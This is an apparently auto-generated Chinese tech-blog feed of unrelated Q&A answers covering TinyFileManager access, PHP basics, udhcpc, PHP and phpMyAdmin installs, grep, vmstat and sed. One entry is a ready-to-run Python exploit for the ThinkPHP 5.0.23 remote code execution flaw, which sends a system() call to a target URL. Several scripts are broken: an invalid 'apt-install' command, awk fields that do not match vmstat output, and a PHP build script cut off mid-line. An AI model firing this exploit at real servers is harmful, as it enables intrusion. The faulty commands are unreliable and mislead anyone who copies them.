2024-08-11

为了在公网远程访问私有云盘上搭建的TinyFileManager,你需要进行以下步骤:

  1. 在你的服务器上安装并配置TinyFileManager。
  2. 配置服务器上的防火墙规则,以允许HTTP/HTTPS流量。
  3. 确保你的服务器具有一个公网IP地址,并且该地址没有被防火墙或网络安全组阻止。
  4. 如果你的服务器使用的是云服务,请确保相关的安全组或网络访问控制列表 (ACL) 允许外部访问80/443端口。
  5. 最后,确保你的服务器的操作系统已经安装了PHP和必要的扩展,以支持TinyFileManager的运行。

以下是一个简单的示例,展示如何在Apache服务器上配置TinyFileManager:




<VirtualHost *:80>
    DocumentRoot "/path/to/tinyfilemanager/filemanager"
    ServerName your_server_ip
 
    <Directory "/path/to/tinyfilemanager/filemanager">
        Options +Indexes +Includes +FollowSymLinks +MultiViews
        AllowOverride All
        Require all granted
    </Directory>
 
    # 其他配置...
</VirtualHost>

确保替换your_server_ip为你的服务器公网IP,以及/path/to/tinyfilemanager/filemanager为TinyFileManager的实际安装路径。

完成这些步骤后,你应该能够通过公网访问TinyFileManager,并对私有云盘上的文件进行管理。记得设置TinyFileManager的配置文件,以确保其安全性,并且只允许受信任的用户访问。

2024-08-11

在CTF比赛中,PHP是常见的编程语言之一。以下是两个PHP相关的常见问题及其解决方案:

  1. PHP中的比较操作:

在PHP中,比较操作符有多种,例如==(等于)、===(全等)、!=(不等)、!==(不全等)、<(小于)、>(大于)、<=(小于或等于)和>=(大于或等于)。

例如,要检查两个变量是否相等,可以使用==操作符。如果要检查变量的值和类型是否完全相同,则应使用===操作符。




$a = 5;
$b = "5";
 
if ($a == $b) {
    echo "变量相等";
} else {
    echo "变量不相等";
}
 
if ($a === $b) {
    echo "变量全等";
} else {
    echo "变量不全等";
}
  1. PHP中的变量覆盖:

在PHP中,可以通过不同的方式覆盖变量,例如通过全局变量、通过引用传递参数或直接覆盖。

例如,如果要覆盖一个全局变量,可以使用$GLOBALS数组。




$globalVar = "初始值";
 
function overrideGlobalVar() {
    $GLOBALS['globalVar'] = "新值";
}
 
overrideGlobalVar();
echo $globalVar; // 输出 "新值"

如果要通过函数参数覆盖变量,可以使用引用传递。




$localVar = "初始值";
 
function overrideLocalVar(&$param) {
    $param = "新值";
}
 
overrideLocalVar($localVar);
echo $localVar; // 输出 "新值"

直接覆盖一个变量,则更简单:




$var = "初始值";
$var = "新值";
echo $var; // 输出 "新值"

以上是两个在CTF比赛中常见的PHP相关问题及其解决方案。

2024-08-11

由于提问中已经包含了完整的复现步骤,下面是一个简化的核心代码实例:




import requests
 
# 复现ThinkPHP 5.0.23 RCE漏洞
def exploit(url, command):
    # 构造恶意数据包
    data = {
        's': 'index/\think\app/invokefunction',
        'function': 'system',
        'vars': [command]
    }
    
    # 发送POST请求
    response = requests.post(url, data=data)
    
    # 输出响应结果
    print(response.text)
 
# 使用示例
url = 'http://your-vulnerable-site.com'  # 替换为目标URL
command = 'whoami'  # 替换为你想执行的命令
exploit(url, command)

这段代码展示了如何使用Python发送POST请求来复现ThinkPHP 5.0.23的远程代码执行漏洞。在实际应用中,应该替换urlcommand为实际情况。

2024-08-11

udhcpc是Linux系统中用于自动处理DHCP(动态主机配置协议)的客户端程序。以下是一个简单的例子,展示如何使用udhcpc

  1. 确保你的系统中已经安装了udhcpc。在基于Debian的系统(如Ubuntu)中,可以使用以下命令安装:



sudo apt-install udhcpc
  1. 在你的网络接口配置文件中启用udhcpc。例如,如果你的网络接口是eth0,编辑/etc/network/interfaces文件,添加以下内容:



auto eth0
iface eth0 inet dhcp
  1. 启动udhcpc服务:



sudo udhcpc -i eth0
  1. 如果你想让udhcpc在启动时自动获取IP地址,可以在接口配置文件中移除手动指定IP的行:



# 注释或删除这行
# iface eth0 inet static
  1. 重启网络服务或者接口来让变更生效:



sudo /etc/init.d/networking restart
# 或者
sudo ifdown eth0 && sudo ifup eth0

现在udhcpc将会在每次启动时自动获取一个新的IP地址。如果需要,你可以通过/var/log/syslog或使用udhcpc-R选项来查看获取IP地址的过程。

2024-08-11

获取PhpStorm的永久激活许可,你需要一个有效的许可证密钥。由于我个人不参与任何未经授权的激活活动,也不能提供任何直接的激活密钥。如果你已经有了一个有效的许可证密钥,你可以按照以下步骤在PhpStorm中激活它:

  1. 打开PhpStorm。
  2. 在激活对话框中,选择“激活码”选项。
  3. 输入你的激活码。
  4. 按照指示完成激活过程。

如果你没有许可证密钥,你可以购买一个。这通常可以通过PhpStorm的官方网站进行,或者通过授权的授权服务。

请注意,未经授权使用软件是非法的,并可能违反版权法。如果你有合法授权获取激活密钥,请确保你遵守相关的许可协议。如果你是学生或老师,你可以申请JetBrains的教育许可证,该许可证通常免费提供给在校学生和教师。

2024-08-11



#!/bin/bash
# 安装 PHP 7.2.17 的脚本
 
# 定义 PHP 版本和依赖包
PHP_VERSION=7.2.17
DEVTOOLSET_VERSION=4
 
# 安装 EPEL 和 Remi 仓库
yum install -y epel-release
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
 
# 安装编译 PHP 所需的依赖包
yum install -y \
    gcc \
    gcc-c++ \
    make \
    zlib-devel \
    libxml2-devel \
    libjpeg-devel \
    libpng-devel \
    freetype-devel \
    giflib-devel \
    libmcrypt-devel \
    libicu-devel \
    libzip-devel \
    bzip2-devel \
    curl-devel \
    openssl-devel \
    sqlite-devel \
    systemd-devel \
    libxslt-devel \
    oniguruma-devel \
    libwebp-devel \
    libxpm-devel \
    libgd-devel \
    libxslt-devel \
    pcre-devel \
    recode-devel \
    krb5-devel \
    libldap2-devel \
    libjpeg-turbo-devel
 
# 安装 devtoolset,用于更高版本的 GCC 编译
yum install -y "centos-release-scl"
yum install -y "devtoolset-${DEVTOOLSET_VERSION}"
scl enable devtoolset-"${DEVTOOLSET_VERSION}" bash
 
# 下载 PHP 源码并解压
curl -LO https://www.php.net/distributions/php-"${PHP_VERSION}".tar.gz
tar xzf php-"${PHP_VERSION}".tar.gz
cd php-"${PHP_VERSION}"
 
# 配置 PHP 编译选项
./configure \
    --prefix=/usr/local/php \
    --with-curl \
    --with-freetype-dir \
    --with-gd \
    --with-gettext \
    --with-iconv-dir \
    --with-kerberos \
    --with-libdir=lib64 \
    --with-libxml-dir \
    --with-mysqli \
    --with-openssl \
    --with-pcre-regex \
    --with-pear \
    --with-pdo-mysql \
    --with-xmlrpc \
    --with-xsl \
    --with-zlib \
    --enable-bcmath \
    --enable-fpm \
    --enable-libxml \
    --enable-inline-optimization \
    --enable-mbregex \
    --enable-mbstring \
    --enable-opcache \
    --enable-pcntl \
    --enable-shmop \
    --enable-soap \
    --enable-sockets \
    --enable-sysvsem \
    --enable-xml \
    --enable-zip
 
# 编译和安装 PHP
make -j$(nproc)
make install
 
# 配置 PHP-FPM
cp php.ini-development /usr/local/php/lib/php.ini
cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
cp /usr/local/php/etc/php-fpm.d/www.conf.default /usr/local/php/etc/php-fpm.d/www.conf
 
# 创建 systemd service 文件
tee /etc/systemd/system/php-fpm.service <<EOF
[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target
 
[Service]
Type=simple
PIDFile=/run/php-fpm.pid
ExecStart=/usr/local/php/sbin/php-fpm --noda
2024-08-11



# 更新系统包
sudo yum update -y
 
# 安装 LAMP (Linux, Apache, MySQL, PHP)堆栈
sudo yum install -y httpd mysql mysql-server php php-mysql
 
# 启动 Apache 和 MySQL 服务,并设置开机自启
sudo /sbin/service httpd start
sudo /sbin/service mysqld start
sudo chkconfig httpd on
sudo chkconfig mysqld on
 
# 创建 phpMyAdmin 用户
mysql -u root -e "CREATE DATABASE phpmyadmin;"
mysql -u root -e "GRANT ALL PRIVILEGES ON phpmyadmin.* TO 'phpmyadmin'@'localhost' IDENTIFIED BY 'password';"
mysql -u root -e "FLUSH PRIVILEGES;"
 
# 下载 phpMyAdmin
wget https://files.phpmyadmin.net/phpMyAdmin/4.0.10.15/phpMyAdmin-4.0.10.15-all-languages.tar.gz
 
# 解压 phpMyAdmin 到 /var/www/html
sudo tar xvfz phpMyAdmin-4.0.10.15-all-languages.tar.gz -C /var/www/html
sudo mv /var/www/html/phpMyAdmin-4.0.10.15-all-languages /var/www/html/phpmyadmin
 
# 修改配置文件
sudo tee /var/www/html/phpmyadmin/config.inc.php <<EOL
<?php
\$cfg['blowfish_secret'] = 'your_blowfish_secret';
\$i = 0;
\$i++;
\$cfg['Servers'][\$i]['auth_type'] = 'cookie';
\$cfg['Servers'][\$i]['host'] = 'localhost';
\$cfg['Servers'][\$i]['connect_type'] = 'tcp';
\$cfg['Servers'][\$i]['compress'] = false;
\$cfg['Servers'][\$i]['AllowNoPassword'] = false;
EOL
 
# 修改权限,使得 Apache 能够访问
sudo chown -R apache:apache /var/www/html/phpmyadmin
 
# 重启 Apache 服务
sudo /sbin/service httpd restart

在这个例子中,我们首先更新了系统包,然后安装了 LAMP 堆栈。接着,我们创建了一个 phpMyAdmin 数据库和用户,并下载、解压、移动了 phpMyAdmin 到网站根目录,并修改了配置文件以增加安全性。最后,我们修改了文件权限,并重启了 Apache 服务。这个过程提供了一个安全、基本的 phpMyAdmin 安装方法。

2024-08-11



# 使用grep搜索特定文本
grep "特定文本" 文件名
 
# 使用正则表达式搜索特定模式
grep "正则表达式" 文件名
 
# 不区分大小写地搜索特定文本
grep -i "特定文本" 文件名
 
# 只输出匹配行的前后几行
grep -C 数量 "特定文本" 文件名
 
# 只输出匹配行的前面几行
grep -B 数量 "特定文本" 文件名
 
# 只输出匹配行的后面几行
grep -A 数量 "特定文本" 文件名
 
# 显示匹配行的行号
grep -n "特定文本" 文件名
 
# 只输出匹配的文件名
grep -l "特定文本" 文件名或目录
 
# 只显示没有匹配的行
grep -v "特定文本" 文件名
 
# 使用grep递归搜索目录中所有文件
grep -r "特定文本" 目录
 
# 使用grep时忽略二进制文件
grep -I "特定文本" 文件名或目录
 
# 使用grep时指定文件扩展名
grep "特定文本" 文件名 --include="*.扩展名"
 
# 使用grep时排除特定文件
grep "特定文本" 文件名 --exclude="文件名"
 
# 使用grep时排除目录
grep "特定文本" 文件名 --exclude-dir="目录名"
 
# 使用grep时同时排除多个文件或目录
grep "特定文本" 文件名 --exclude="文件名" --exclude-dir="目录名"
 
# 使用grep时打印匹配行的数量
grep -c "特定文本" 文件名
 
# 使用grep时仅输出匹配的部分
grep -o "特定文本" 文件名

这个示例展示了grep命令的一些常见用法,包括搜索特定文本、使用正则表达式、区分大小写、输出行号、递归搜索、忽略二进制文件、指定文件扩展名、排除特定文件和目录,以及打印匹配行的数量。这些是在日常工作中经常使用的grep命令的功能和用法。

2024-08-11



#!/bin/bash
 
# 获取系统运行时间、进程数、负载均值
uptime=$(uptime | awk '{print $3 $4}' | sed 's/,//')
procs=$(vmstat 1 2 | awk 'NR==3 {print $4}')
loadavg=$(vmstat 1 2 | awk 'NR==3 {print $13 $14 $15}')
 
# 输出系统信息
echo "系统运行时间: $uptime"
echo "当前进程数: $procs"
echo "负载均值: $loadavg"
 
# 获取内存信息
meminfo=$(vmstat 1 2 | awk 'NR==4 {print $12 $13 $14 $15}')
echo "内存信息: $meminfo"
 
# 获取虚拟内存信息
vmstatinfo=$(vmstat 1 2 | awk 'NR==5 {print $1 $2 $3 $4}')
echo "虚拟内存信息: $vmstatinfo"
 
# 获取IO统计信息
iostat=$(vmstat 1 2 | awk 'NR==6 {print $1 $2 $3 $4}')
echo "IO统计信息: $iostat"
 
# 获取CPU使用率信息
cpuinfo=$(vmstat 1 2 | awk 'NR==5 {print $5}')
echo "CPU使用率: $cpuinfo%"

这段代码使用了vmstat命令来获取系统的运行时间、进程数、负载均值、内存、虚拟内存、IO和CPU的相关统计信息,并将它们输出到控制台。这是一个简化版本的脚本,主要用于演示如何使用vmstat命令来获取系统信息,并且可以作为学习和参考。

2024-08-11

在Linux/Unix系统中,sed是一种流编辑器,它能够用于基于文本模式的搜索、替换、新增和删除等操作。下面是使用sed提取文件中特定行的几种方法:

  1. 提取第N行:



sed -n 'Np' filename

这里的N是你想提取的行号。例如,要提取第5行,你可以运行sed -n '5p' filename

  1. 提取从第N行到第M行:



sed -n 'N,Mp' filename

这里的N和M是你想提取的开始和结束行号。例如,要提取从第2行到第5行,你可以运行sed -n '2,5p' filename

  1. 提取匹配特定模式的行:



sed -n '/pattern/p' filename

这里的pattern是你想匹配的文本模式。例如,要提取含有单词"error"的所有行,你可以运行sed -n '/error/p' filename

  1. 提取从匹配特定模式开始到N行:



sed -n '/pattern/,+Np' filename

这里的pattern是你想匹配的文本模式,N是你想提取多少行。例如,要提取含有单词"start"的行开始,并且包括接下来的3行,你可以运行sed -n '/start/,+3p' filename

  1. 提取从第N行到匹配特定模式结束:



sed -n 'N,/pattern/p' filename

这里的N是你想开始提取的行号,pattern是你想匹配的文本模式。例如,要提取从第5行开始,并且包括接下来直到含有单词"end"的行结束,你可以运行sed -n '5,/end/p' filename

以上就是使用sed提取文件特定行的一些方法。记住,-n选项是用来告诉sed只输出被处理的行,而不自动输出输入文件的每行。